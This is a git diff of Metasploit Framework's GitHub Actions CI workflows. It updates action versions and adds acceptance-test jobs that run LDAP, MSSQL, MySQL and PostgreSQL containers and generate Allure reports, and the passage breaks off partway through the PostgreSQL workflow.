| 1ac2b3b8e1 | |||
| 607a2789d0 | |||
| 54788067ff | |||
| 1ba704b1cb | |||
| 46273d5f08 | |||
| f9419c4839 | |||
| ea1dafa353 | |||
| 236f88541f | |||
| 4060e069ed | |||
| 1c4258fd1e | |||
| 56a9beb39d | |||
| f1586f08c3 | |||
| 2cf045d3c4 | |||
| 57f97ac79e | |||
| 0075212fa9 | |||
| 677c355f76 | |||
| 18b2eec1db | |||
| e7f2abbf9e | |||
| 225ef6847f | |||
| 5e25a99700 | |||
| 63e1b49da1 | |||
| c0e02bdeeb | |||
| a8bc6cc27f | |||
| d57c9fb464 | |||
| 6d8666e35b | |||
| f8bd7dfd83 | |||
| cdc66dd91f | |||
| e44b57249d | |||
| 5c7061cc0c | |||
| 5a14575a31 | |||
| caf26fbe55 | |||
| b031311892 | |||
| 381b840f11 | |||
| e711c9ea43 | |||
| 2cfcb74303 | |||
| e9296d1add | |||
| b8e2feebe0 | |||
| ad10cb84a9 | |||
| 43f4705e60 | |||
| 656e65f9b0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| 024bdaec6d | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| 85897a2596 | |||
| 80e9f1b97d | |||
| a09cf6471a | |||
| b10e8d566b | |||
| 98667edf76 | |||
| 94a84960a2 | |||
| eb902457f2 | |||
| 4bdff53358 | |||
| f92b2662c4 | |||
| 9bb7e0e379 | |||
| adf455e8cb | |||
| b2312c97d3 | |||
| 9fdac8fd28 | |||
| afdb34d64a | |||
| 2ab1b7a310 | |||
| 08c5e6a689 | |||
| ed421c21ca | |||
| 3b8f684d08 | |||
| 2f023f7315 | |||
| d0beea91bd | |||
| 47a58bda3b | |||
| 357bdc8c10 | |||
| b654275ec4 | |||
| 11c12fcb6d | |||
| e72242949e | |||
| a5698f6aa6 | |||
| 0a2dea523f | |||
| 91c58ba268 | |||
| 526da210ad | |||
| eeb74cd5e1 | |||
| e3062d45e0 | |||
| 9c9af0dca1 | |||
| 22a05c8bf5 | |||
| c895364675 | |||
| 5e30328268 | |||
| 6b376b9156 | |||
| e9ff2e55dc | |||
| a58f7f0558 | |||
| 02302439a0 | |||
| c911ec1413 | |||
| 7bacc642bf | |||
| 2f3e207277 | |||
| e946d78993 | |||
| 9c869a6768 | |||
| 5de0e4e234 | |||
| 52a23e3afb | |||
| 1749fa1e50 | |||
| 8eefea76ce | |||
| 4e106c2a73 | |||
| 58f79c7b47 | |||
| 7e88279299 | |||
| cf24bca946 | |||
| c55d4ceda0 | |||
| 387c90e91e | |||
| 36cc8f6267 | |||
| b0d7695e10 | |||
| 1f91d2eee9 | |||
| 83dccfafaf | |||
| 82b8556c78 | |||
| 2718c078d2 | |||
| d26db0b1dd | |||
| 26e7807154 | |||
| 9105966b20 | |||
| cc4fa7cd39 | |||
| 4efad9eb24 | |||
| 4585ec0336 | |||
| 5f4c17edbf | |||
| 7dbd938e3b | |||
| 3ffeef36f6 | |||
| ebc18db0ac | |||
| 4906ea228d | |||
| 27b2cdf5b1 | |||
| 32380d8a26 | |||
| a04943063e | |||
| 8c007c0ef7 | |||
| 5314902e74 | |||
| 12833fd0d5 | |||
| 468265e815 | |||
| 9301e29a6e | |||
| cf0477138d | |||
| 2d683954de | |||
| f947e6a438 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| ea189d6c34 | |||
| 2cf8b3808c | |||
| 1a3b00e593 | |||
| f5d5541e73 | |||
| 9f10f9402c | |||
| 35609d07e9 | |||
| b4dee448bc | |||
| 7cd447b5d0 | |||
| 203470302a | |||
| 6972a910fb | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| 79d3cc81cb | |||
| 8e33badd80 | |||
| 823824163e | |||
| e3c97148e8 |
@@ -38,7 +38,9 @@ on:
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
@@ -63,14 +65,15 @@ jobs:
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
# PHP - Temporarily removed as tests are timing out on Github actions
|
||||
# - { name: php, runtime_version: 5.3 }
|
||||
# - { name: php, runtime_version: 7.4 }
|
||||
# - { name: php, runtime_version: 8.2 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
# Temporarily required for failing pcaprub compilation:
|
||||
# - { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-11 }
|
||||
@@ -92,7 +95,7 @@ jobs:
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
@@ -100,11 +103,11 @@ jobs:
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
- uses: actions/setup-java@v4
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
@@ -126,7 +129,7 @@ jobs:
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
@@ -153,11 +156,11 @@ jobs:
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
bundle exec rspec spec/acceptance/meterpreter_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
@@ -172,7 +175,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
@@ -186,14 +189,14 @@ jobs:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
@@ -216,7 +219,7 @@ jobs:
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**ldap**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
ldap:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: LDAP Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run samba/ldap docker container
|
||||
working-directory: 'test/ldap'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: latest
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/ldap_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ldap-acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- ldap
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mssql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mssql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mssql:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["1433:1433"]
|
||||
env:
|
||||
MSSQL_SA_PASSWORD: yourStrong(!)Password
|
||||
ACCEPT_EULA: 'Y'
|
||||
options: >-
|
||||
--health-cmd "/opt/mssql-tools/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -Q 'select 1' -b -o /dev/null"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- mcr.microsoft.com/mssql/server:2022-latest
|
||||
- mcr.microsoft.com/mssql/server:2019-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mssql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mssql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mysql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mysql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mysql:
|
||||
image: ${{ matrix.target.version }}
|
||||
ports: ["3306:3306"]
|
||||
env:
|
||||
MYSQL_ROOT_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd "${{ matrix.target.health_cmd }}"
|
||||
--health-interval 10s
|
||||
--health-timeout 10s
|
||||
--health-retries 5
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
target:
|
||||
- { version: "mariadb:latest", health_cmd: "mariadb -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mariadb:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:latest", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.target.version }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.target.version }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mysql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mysql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
postgres:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: ${{ matrix.docker_image }}
|
||||
